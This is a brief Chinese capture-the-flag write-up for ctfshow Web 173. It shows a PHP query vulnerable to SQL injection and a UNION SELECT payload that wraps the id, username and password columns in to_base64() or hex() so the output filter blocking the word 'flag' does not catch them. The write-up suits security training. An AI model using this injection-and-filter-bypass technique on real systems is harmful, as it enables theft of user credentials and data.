SQL注入:结果不能出现flag

Web 173:

//检查结果是否有flag

    if(!preg_match('/flag/i', json_encode($ret))){

      $ret['msg']='查询成功';

    }

 

结果不能出现flag

问题不大,我们可以使用上面提到过的 to_base64()这种方式把最终结果加密:

//拼接sql语句查找指定ID用户

$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";

 

 

 

99' union select to_base64(id),to_base64(username),to_base64(password) from ctfshow_user3 where username='flag'%23

 

(SQL语句查询三个值我们也得查询三个值)

*也可以使用hex()绕过:

hex(id),hex(username),hex(password)

Tips:鼠标经过代码时会出现工具栏,工具栏上方有一键复制代码的功能哦~天云网络培训,专注于网络空间安全相关培训,并提供相关课程的在线培训 报名微信 tyedu1
天云网络培训 » SQL注入:结果不能出现flag

提供专业、易懂、平民化教育。让每个热爱网络的人有个归宿

立即查看 了解详情